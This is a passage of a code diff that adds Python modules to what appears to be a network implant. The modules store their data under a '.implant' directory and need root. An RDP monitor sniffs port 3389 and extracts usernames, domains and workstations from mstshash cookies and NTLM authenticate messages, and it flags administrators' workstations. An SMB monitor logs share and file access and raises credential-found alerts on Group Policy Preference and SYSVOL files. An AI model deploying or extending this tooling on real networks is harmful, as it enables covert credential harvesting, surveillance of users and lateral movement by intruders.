if offset + 2 > len(data):
|
||||
return (0, 0)
|
||||
val = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
|
||||
return (val, 2)
|
||||
elif prefix == 2:
|
||||
if offset + 4 > len(data):
|
||||
return (0, 0)
|
||||
val = struct.unpack("!I", data[offset:offset + 4])[0] & 0x3FFFFFFF
|
||||
return (val, 4)
|
||||
else:
|
||||
if offset + 8 > len(data):
|
||||
return (0, 0)
|
||||
val = struct.unpack("!Q", data[offset:offset + 8])[0] & 0x3FFFFFFFFFFFFFFF
|
||||
return (val, 8)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "quic_analyzer.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_sni(self, ts: float, src_ip: str, dst_ip: str,
|
||||
sni: str, version: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((ts, src_ip, dst_ip, sni, version))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO quic_sni
|
||||
(timestamp, source_ip, dest_ip, sni, quic_version)
|
||||
VALUES (?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush QUIC SNI records")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,378 @@
|
||||
#!/usr/bin/env python3
|
||||
"""RDP session monitor — passive RDP connection tracking.
|
||||
|
||||
Parses RDP Connection Request (Cookie field containing username),
|
||||
CredSSP/NLA TSRequest structures for NTLM domain\\username extraction,
|
||||
and tracks session patterns to identify admin workstations.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# NTLM signature for CredSSP extraction
|
||||
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
|
||||
NTLM_AUTHENTICATE = 3
|
||||
|
||||
# X.224 Connection Request type
|
||||
X224_CONNECTION_REQUEST = 0xE0
|
||||
|
||||
# Admin workstation threshold
|
||||
ADMIN_DEST_THRESHOLD = 3
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS rdp_sessions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
username TEXT DEFAULT '',
|
||||
domain TEXT DEFAULT '',
|
||||
client_hostname TEXT DEFAULT '',
|
||||
keyboard_layout TEXT DEFAULT ''
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_rdp_src ON rdp_sessions(source_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_rdp_user ON rdp_sessions(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_rdp_ts ON rdp_sessions(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
|
||||
class RDPMonitor(BaseModule):
|
||||
"""Monitor RDP sessions passively for user/host identification."""
|
||||
|
||||
name = "rdp_monitor"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
# Track admin patterns: src_ip -> set of dest_ips
|
||||
self._rdp_targets: dict[str, set] = defaultdict(set)
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"connection_requests": 0,
|
||||
"credssp_auths": 0,
|
||||
"unique_sessions": 0,
|
||||
"admin_workstations": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("RDPMonitor requires _capture_bus in config")
|
||||
return
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 3389", queue_depth=3000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-rdp-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-rdp-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("RDPMonitor started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("RDPMonitor stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing RDP packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract TCP payload and dispatch to RDP parsers."""
|
||||
if len(pkt) < 54:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 58:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 6:
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
if len(ip_header) < ihl + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
|
||||
if len(payload) < 6:
|
||||
return
|
||||
|
||||
# Only process traffic going TO RDP port (client -> server)
|
||||
if dst_port == 3389:
|
||||
self._parse_rdp_client(payload, src_ip, dst_ip, ts)
|
||||
|
||||
def _parse_rdp_client(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse client-to-server RDP traffic."""
|
||||
# Check for TPKT header (version=3, reserved=0)
|
||||
if payload[0] == 0x03 and payload[1] == 0x00:
|
||||
self._parse_tpkt(payload, src_ip, dst_ip, ts)
|
||||
return
|
||||
|
||||
# Check for NTLMSSP in CredSSP
|
||||
if NTLMSSP_SIGNATURE in payload:
|
||||
self._parse_credssp_ntlm(payload, src_ip, dst_ip, ts)
|
||||
|
||||
def _parse_tpkt(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse TPKT + X.224 Connection Request for username cookie."""
|
||||
if len(payload) < 11:
|
||||
return
|
||||
|
||||
# TPKT: version(1) + reserved(1) + length(2)
|
||||
tpkt_len = struct.unpack("!H", payload[2:4])[0]
|
||||
|
||||
# X.224: length indicator(1) + type(1)
|
||||
x224_len = payload[4]
|
||||
x224_type = payload[5] & 0xF0
|
||||
|
||||
if x224_type != X224_CONNECTION_REQUEST:
|
||||
return
|
||||
|
||||
self._stats["connection_requests"] += 1
|
||||
|
||||
# After X.224 header (variable length), look for Cookie field
|
||||
# Cookie format: "Cookie: mstshash=username\r\n"
|
||||
cookie_data = payload[11:] # Skip past basic X.224 header
|
||||
username = ""
|
||||
client_hostname = ""
|
||||
|
||||
# Search for mstshash cookie
|
||||
cookie_idx = cookie_data.find(b'Cookie: mstshash=')
|
||||
if cookie_idx >= 0:
|
||||
cookie_start = cookie_idx + 17 # len("Cookie: mstshash=")
|
||||
cookie_end = cookie_data.find(b'\r\n', cookie_start)
|
||||
if cookie_end > cookie_start:
|
||||
username = cookie_data[cookie_start:cookie_end].decode(
|
||||
"ascii", errors="replace"
|
||||
).strip()
|
||||
|
||||
if username:
|
||||
self._rdp_targets[src_ip].add(dst_ip)
|
||||
self._stats["unique_sessions"] += 1
|
||||
self._check_admin_workstation(src_ip)
|
||||
self._record_session(ts, src_ip, dst_ip, username, "", "", "")
|
||||
|
||||
def _parse_credssp_ntlm(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Extract NTLM credentials from CredSSP TSRequest."""
|
||||
idx = payload.find(NTLMSSP_SIGNATURE)
|
||||
if idx < 0 or idx + 12 > len(payload):
|
||||
return
|
||||
|
||||
ntlm_data = payload[idx:]
|
||||
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
|
||||
|
||||
if msg_type != NTLM_AUTHENTICATE or len(ntlm_data) < 72:
|
||||
return
|
||||
|
||||
username, domain, workstation = self._parse_ntlm_type3(ntlm_data)
|
||||
|
||||
if username:
|
||||
self._stats["credssp_auths"] += 1
|
||||
self._rdp_targets[src_ip].add(dst_ip)
|
||||
self._stats["unique_sessions"] += 1
|
||||
self._check_admin_workstation(src_ip)
|
||||
self._record_session(ts, src_ip, dst_ip, username, domain, workstation, "")
|
||||
|
||||
def _parse_ntlm_type3(self, data: bytes) -> tuple:
|
||||
"""Parse NTLM Type 3 Authenticate for username, domain, workstation."""
|
||||
if len(data) < 72:
|
||||
return ("", "", "")
|
||||
|
||||
try:
|
||||
domain_len = struct.unpack("<H", data[28:30])[0]
|
||||
domain_off = struct.unpack("<I", data[32:36])[0]
|
||||
|
||||
user_len = struct.unpack("<H", data[36:38])[0]
|
||||
user_off = struct.unpack("<I", data[40:44])[0]
|
||||
|
||||
ws_len = struct.unpack("<H", data[44:46])[0]
|
||||
ws_off = struct.unpack("<I", data[48:52])[0]
|
||||
|
||||
domain = ""
|
||||
username = ""
|
||||
workstation = ""
|
||||
|
||||
if domain_len and domain_off + domain_len <= len(data):
|
||||
domain = data[domain_off:domain_off + domain_len].decode(
|
||||
"utf-16-le", errors="replace"
|
||||
)
|
||||
if user_len and user_off + user_len <= len(data):
|
||||
username = data[user_off:user_off + user_len].decode(
|
||||
"utf-16-le", errors="replace"
|
||||
)
|
||||
if ws_len and ws_off + ws_len <= len(data):
|
||||
workstation = data[ws_off:ws_off + ws_len].decode(
|
||||
"utf-16-le", errors="replace"
|
||||
)
|
||||
|
||||
return (username, domain, workstation)
|
||||
except Exception:
|
||||
return ("", "", "")
|
||||
|
||||
def _check_admin_workstation(self, src_ip: str) -> None:
|
||||
"""Check if source IP qualifies as admin workstation."""
|
||||
targets = self._rdp_targets.get(src_ip, set())
|
||||
if len(targets) >= ADMIN_DEST_THRESHOLD:
|
||||
current = len([
|
||||
ip for ip, dests in self._rdp_targets.items()
|
||||
if len(dests) >= ADMIN_DEST_THRESHOLD
|
||||
])
|
||||
if current > self._stats["admin_workstations"]:
|
||||
self._stats["admin_workstations"] = current
|
||||
logger.info(
|
||||
"Admin workstation detected: %s (RDP to %d hosts)",
|
||||
src_ip, len(targets)
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "rdp_monitor.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_session(self, ts: float, src_ip: str, dst_ip: str,
|
||||
username: str, domain: str, client_hostname: str,
|
||||
keyboard_layout: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, src_ip, dst_ip, username, domain, client_hostname, keyboard_layout
|
||||
))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO rdp_sessions
|
||||
(timestamp, source_ip, dest_ip, username, domain,
|
||||
client_hostname, keyboard_layout)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush RDP sessions")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,396 @@
|
||||
#!/usr/bin/env python3
|
||||
"""SMB file access monitor — passive SMB2/3 session and file tracking.
|
||||
|
||||
Parses SMB2/3 Tree Connect requests (share names), Create requests (file paths),
|
||||
and Read/Write operations. Tracks per-user share access and detects
|
||||
GPP/SYSVOL access patterns indicating potential Group Policy Preference
|
||||
password exposure. SMB3 encrypted sessions are opaque.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# SMB2 command IDs
|
||||
SMB2_NEGOTIATE = 0x0000
|
||||
SMB2_SESSION_SETUP = 0x0001
|
||||
SMB2_TREE_CONNECT = 0x0003
|
||||
SMB2_CREATE = 0x0005
|
||||
SMB2_READ = 0x0008
|
||||
SMB2_WRITE = 0x0009
|
||||
|
||||
# SMB2 header magic
|
||||
SMB2_MAGIC = b'\xfeSMB'
|
||||
|
||||
# GPP-related paths (case-insensitive matching)
|
||||
GPP_PATTERNS = (
|
||||
"groups.xml", "services.xml", "scheduledtasks.xml",
|
||||
"datasources.xml", "printers.xml", "drives.xml",
|
||||
"policies", "sysvol",
|
||||
)
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS smb_access (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
username TEXT DEFAULT '',
|
||||
share_name TEXT DEFAULT '',
|
||||
file_path TEXT DEFAULT '',
|
||||
operation TEXT NOT NULL,
|
||||
smb_version TEXT DEFAULT ''
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_smb_user ON smb_access(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_smb_share ON smb_access(share_name);
|
||||
CREATE INDEX IF NOT EXISTS idx_smb_ts ON smb_access(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
|
||||
class SMBMonitor(BaseModule):
|
||||
"""Monitor SMB2/3 file share access passively."""
|
||||
|
||||
name = "smb_monitor"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
# Track session ID -> username mapping
|
||||
self._sessions: dict[tuple, str] = {} # (src_ip, session_id) -> username
|
||||
# Track tree ID -> share name mapping
|
||||
self._trees: dict[tuple, str] = {} # (src_ip, tree_id) -> share_name
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"tree_connects": 0,
|
||||
"file_creates": 0,
|
||||
"reads": 0,
|
||||
"writes": 0,
|
||||
"gpp_access_detected": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("SMBMonitor requires _capture_bus in config")
|
||||
return
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 445", queue_depth=5000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-smb-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-smb-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("SMBMonitor started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("SMBMonitor stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing SMB packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract TCP payload and parse SMB2."""
|
||||
if len(pkt) < 54: # eth(14) + ip(20) + tcp(20) minimum
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 58:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 6: # TCP only
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
if len(ip_header) < ihl + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
|
||||
if len(payload) < 4:
|
||||
return
|
||||
|
||||
# SMB uses NetBIOS Session Service: 1-byte type + 3-byte length
|
||||
# Type 0x00 = session message
|
||||
if payload[0] != 0x00:
|
||||
return
|
||||
nb_len = struct.unpack("!I", b'\x00' + payload[1:4])[0]
|
||||
smb_data = payload[4:]
|
||||
|
||||
if len(smb_data) < 64:
|
||||
return
|
||||
|
||||
# Determine direction: request goes TO port 445
|
||||
client_ip = src_ip if dst_port == 445 else dst_ip
|
||||
|
||||
self._parse_smb2(smb_data, client_ip, ts)
|
||||
|
||||
def _parse_smb2(self, data: bytes, client_ip: str, ts: float) -> None:
|
||||
"""Parse an SMB2 message header and dispatch to command handler."""
|
||||
if data[:4] != SMB2_MAGIC:
|
||||
return
|
||||
|
||||
if len(data) < 64:
|
||||
return
|
||||
|
||||
# SMB2 header (64 bytes)
|
||||
header_len = struct.unpack("<H", data[4:6])[0]
|
||||
command = struct.unpack("<H", data[12:14])[0]
|
||||
flags = struct.unpack("<I", data[16:20])[0]
|
||||
is_response = bool(flags & 0x00000001)
|
||||
|
||||
session_id = struct.unpack("<Q", data[40:48])[0]
|
||||
tree_id = struct.unpack("<I", data[36:40])[0]
|
||||
|
||||
smb_body = data[64:]
|
||||
|
||||
if command == SMB2_TREE_CONNECT and is_response and len(smb_body) >= 8:
|
||||
# Tree Connect Response doesn't contain the share name,
|
||||
# but we see the path in the request
|
||||
pass
|
||||
elif command == SMB2_TREE_CONNECT and not is_response:
|
||||
self._handle_tree_connect_request(smb_body, client_ip, session_id, tree_id, ts)
|
||||
elif command == SMB2_CREATE and not is_response:
|
||||
self._handle_create_request(smb_body, client_ip, session_id, tree_id, ts)
|
||||
elif command == SMB2_READ and not is_response:
|
||||
self._stats["reads"] += 1
|
||||
share = self._trees.get((client_ip, tree_id), "")
|
||||
self._record_access(ts, client_ip, "", share, "", "read", "smb2")
|
||||
elif command == SMB2_WRITE and not is_response:
|
||||
self._stats["writes"] += 1
|
||||
share = self._trees.get((client_ip, tree_id), "")
|
||||
self._record_access(ts, client_ip, "", share, "", "write", "smb2")
|
||||
|
||||
def _handle_tree_connect_request(self, body: bytes, client_ip: str,
|
||||
session_id: int, tree_id: int,
|
||||
ts: float) -> None:
|
||||
"""Parse SMB2 Tree Connect request to extract share name."""
|
||||
# Tree Connect Request body (SMB 3.1.1):
|
||||
# StructureSize(2) + Reserved/Flags(2) + PathOffset(2) + PathLength(2)
|
||||
if len(body) < 8:
|
||||
return
|
||||
|
||||
path_offset = struct.unpack("<H", body[4:6])[0]
|
||||
path_length = struct.unpack("<H", body[6:8])[0]
|
||||
|
||||
# PathOffset is relative to the beginning of the SMB2 header
|
||||
# Since body starts at offset 64, adjust
|
||||
# But we receive body starting at offset 0, so the path is at:
|
||||
# (path_offset - 64) in body terms, OR it may follow immediately
|
||||
# In practice, path follows the 8-byte struct at body[8:]
|
||||
if path_length > 0 and len(body) >= 8 + path_length:
|
||||
try:
|
||||
share_path = body[8:8 + path_length].decode("utf-16-le", errors="replace")
|
||||
except Exception:
|
||||
share_path = ""
|
||||
|
||||
# Extract just the share name from \\server\share
|
||||
share_name = share_path.rsplit("\\", 1)[-1] if "\\" in share_path else share_path
|
||||
|
||||
self._trees[(client_ip, tree_id)] = share_name
|
||||
self._stats["tree_connects"] += 1
|
||||
|
||||
username = self._sessions.get((client_ip, session_id), "")
|
||||
self._record_access(ts, client_ip, username, share_name, "", "tree_connect", "smb2")
|
||||
|
||||
# Check for SYSVOL/NETLOGON access
|
||||
if share_name.lower() in ("sysvol", "netlogon"):
|
||||
logger.info("SYSVOL/NETLOGON access from %s — potential GPP exposure", client_ip)
|
||||
|
||||
def _handle_create_request(self, body: bytes, client_ip: str,
|
||||
session_id: int, tree_id: int,
|
||||
ts: float) -> None:
|
||||
"""Parse SMB2 Create request to extract file path."""
|
||||
# Create Request: StructureSize(2) + SecurityFlags(1) + RequestedOplockLevel(1)
|
||||
# + ImpersonationLevel(4) + SmbCreateFlags(8) + Reserved(8)
|
||||
# + DesiredAccess(4) + FileAttributes(4) + ShareAccess(4)
|
||||
# + CreateDisposition(4) + CreateOptions(4) + NameOffset(2) + NameLength(2)
|
||||
if len(body) < 56:
|
||||
return
|
||||
|
||||
name_offset = struct.unpack("<H", body[44:46])[0]
|
||||
name_length = struct.unpack("<H", body[46:48])[0]
|
||||
|
||||
if name_length == 0:
|
||||
return
|
||||
|
||||
# Name follows the fixed-size structure
|
||||
# name_offset is relative to SMB2 header start, body starts at +64
|
||||
name_start = 56 # After the fixed-size fields in Create body
|
||||
if len(body) >= name_start + name_length:
|
||||
try:
|
||||
file_path = body[name_start:name_start + name_length].decode(
|
||||
"utf-16-le", errors="replace"
|
||||
)
|
||||
except Exception:
|
||||
file_path = ""
|
||||
|
||||
if file_path:
|
||||
self._stats["file_creates"] += 1
|
||||
share = self._trees.get((client_ip, tree_id), "")
|
||||
username = self._sessions.get((client_ip, session_id), "")
|
||||
self._record_access(ts, client_ip, username, share, file_path, "create", "smb2")
|
||||
|
||||
# GPP detection
|
||||
file_lower = file_path.lower()
|
||||
for pattern in GPP_PATTERNS:
|
||||
if pattern in file_lower:
|
||||
self._stats["gpp_access_detected"] += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "smb_gpp_access",
|
||||
"client_ip": client_ip,
|
||||
"share": share,
|
||||
"file_path": file_path,
|
||||
"detail": "GPP/SYSVOL file access — may contain cleartext passwords",
|
||||
})
|
||||
break
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "smb_monitor.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_access(self, ts: float, source_ip: str, username: str,
|
||||
share_name: str, file_path: str, operation: str,
|
||||
smb_version: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, source_ip, username, share_name, file_path, operation, smb_version
|
||||
))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO smb_access
|
||||
(timestamp, source_ip, username, share_name, file_path,
|
||||
